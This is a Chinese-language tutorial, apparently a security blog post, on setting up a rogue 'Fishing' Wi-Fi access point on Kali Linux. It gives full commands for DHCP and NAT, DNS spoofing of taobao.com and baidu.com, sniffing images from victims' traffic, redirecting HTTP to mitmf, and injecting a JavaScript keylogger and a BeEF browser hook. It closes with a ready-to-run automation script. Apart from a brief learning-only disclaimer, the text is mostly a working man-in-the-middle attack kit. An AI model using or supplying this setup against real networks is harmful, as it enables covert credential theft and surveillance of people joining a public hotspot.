文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用。请不要做一只咖啡馆里安静的猥琐大叔。
写在前面
从至少一年前我就一直想在自己跑kali的笔记本上架个钓鱼热点。然而由于网上的教程的nat写得有问题,别人写好的脚本和我电脑有些互不待见,最接近成功的一次只做到了qq能聊天,百度都上不去。
而最近忽然意识到了问题的所在,成功实现了建立wifi热点,dns劫持,js注入,图片嗅探,和BEEF结合对用户浏览器进行攻击测试。
故写此文分享给大家,希望与之前的我有一样困惑的同志们能有所收获。
建立热点
工具:isc-dhcp-server ;Aircrack-ng套件;iptables
建立过程:
首先写dhcp配置文件/etc/dhcp/dhcpd.conf
写入如下内容:
复制
authoritative; default-lease-time 700; max-lease-time 8000; subnet 10.0.0.0 netmask 255.255.255.0 { option routers 10.0.0.1; option subnet-mask 255.255.255.0; option domain-name-servers 10.0.0.1; range 10.0.0.10 10.0.0.100; }
1.
2.
3.
4.
5.
6.
7.
8.
9.
这里以10.0.0.1作为网关和dns服务器地址。
然后我们处理无线网卡
复制
ifconfig wlan1 down #wlan1修改成你的网卡 iwconfig wlan1 mode monitor ifconfig wlan1 up airmon-ng start wlan1
1.
2.
3.
4.
上述命令可以防止出现:Error: Got channel -1, expected a value > 0.
然后用airbase建立热点
复制
airbase-ng -e Fishing -c 11 mon0
1.
热点的网络流量会被虚拟到at0这块网卡上面
复制
ifconfig at0 up ifconfig at0 10.0.0.1 netmask 255.255.255.0 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
1.
2.
3.
打开ip转发
复制
echo 1 > /proc/sys/net/ipv4/ip_forward
1.
开启dhcp
复制
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0 service isc-dhcp-server start
1.
2.
然后可以试着用手机连接,应该可以连上但上不了网
于是配置NAT
复制
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #对eth0进行源nat iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT #把无线网卡流量转发到有线网卡(或者什么能上网的网卡)上面 iptables -A FORWARD -p tcp --syn -s 10.0.0.0/24 -j TCPMSS --set-mss 1356 #修改最大报文段长度
1.
2.
3.
注意那第三个命令调整MSS,不加后果很严重(我就一直死在这里)
(这里可能还是DNS错误,请看后文中的dns代理服务器搭建)
劫持DNS
工具:dnschef
过程:
复制
dnschef -i 10.0.0.1 --nameserver 210.73.64.1#53
1.
上述命令是以ip10.0.0.1(上文中的fakeap网关和DNS的ip)建立dns,对于所有请求转发到210.73.64.1进行解析。显然这只是个“代理”并没有劫持的功效
于是我们进化:
复制
dnschef --fakedomains=taobao.com,baidu.com --fakeip=10.0.0.1 -i 10.0.0.1 --nameserver 210.73.64.1#53
1.
把淘宝和百度解析到本机了。
当然可以把更多规则写在文件里:
剩下的大家自由发挥吧。
p.s:这个和后文中mitmf冲突,mitmf识别http协议中的目的主机,进行转发,不受这个dns伪造影响。
图片嗅探
这是一个很好玩的功能
工具:driftnet
过程:
复制
driftnet -i at0
1.
然后程序会打开一个小窗口显示所有传输的图片:
单击图片保存到/
当然可以开启 Adjunct mode:
复制
driftnet -i at0 -a
1.
直接保存图片并显示文件名。
#p#
劫持Web流量
这个更好玩
工具:BEEF;mitmf;iptables
过程:
先把80端口的流量劫持走(这里10000是mitmf默认监听端口)
复制
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
1.
然后打开mitmf
复制
mitmf -i at0 --replace --search-str aaaaa --replace-str bbbbb#把所有网页中的aaaaa替换成bbbbb
1.
上图百度了aaaaa
好吧不要恶作剧了,上干货
复制
mitmf -i at0 --inject --js-url http://10.0.0.1:3000/hook.js --jskeylogger
1.
mitmf在这里注入了js键盘记录器
和beef的攻击测试脚本,其余的攻击方式(比如javapwn)可以参考http://www.freebuf.com/tools/45796.html
最后用BEEF测试用户浏览器吧!
复制
/usr/share/beef-xss/beef
1.
浏览器打开http://127.0.0.1:3000/ui/panel ,初始用户名和密码都是beef
BEEF过于高深我还没玩得很清楚请大家自行探索。对了,不要忘了抓包
最后是我写的脚本
复制
#清空iptables iptables -t nat -F iptables -t nat -X iptables -t nat -P PREROUTING ACCEPT iptables -t nat -P POSTROUTING ACCEPT iptables -t nat -P OUTPUT ACCEPT iptables -t mangle -F iptables -t mangle -X iptables -t mangle -P PREROUTING ACCEPT iptables -t mangle -P INPUT ACCEPT iptables -t mangle -P FORWARD ACCEPT iptables -t mangle -P OUTPUT ACCEPT iptables -t mangle -P POSTROUTING ACCEPT iptables -F iptables -X iptables -P FORWARD ACCEPT iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -t raw -F iptables -t raw -X iptables -t raw -P PREROUTING ACCEPT iptables -t raw -P OUTPUT ACCEPT #建立热点 airmon-ng stop mon0 ifconfig wlan1 down #wlan1修改成你的网卡 iwconfig wlan1 mode monitor ifconfig wlan1 up airmon-ng start wlan1 & sleep 2 gnome-terminal -x bash -c "airbase-ng -e Fishing -c 11 mon0" #按需求修改 sleep 2 ifconfig at0 up ifconfig at0 10.0.0.1 netmask 255.255.255.0 ifconfig at0 mtu 1400 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 echo 1 > /proc/sys/net/ipv4/ip_forward #配置dhcp dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0 sleep 2 /etc/init.d/isc-dhcp-server start #nat iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT iptables -A FORWARD -p tcp --syn -s 10.0.0.0/24 -j TCPMSS --set-mss 1356 #劫持80 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 #劫持dns gnome-terminal -x bash -c "dnschef -i 10.0.0.1 --nameserver 210.73.64.1#53" #打开beef并进行80js键盘记录 gnome-terminal -x bash -c "mitmf -i at0 --inject --js-url http://10.0.0.1:3000/hook.js --jskeylogger" beef-xss
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.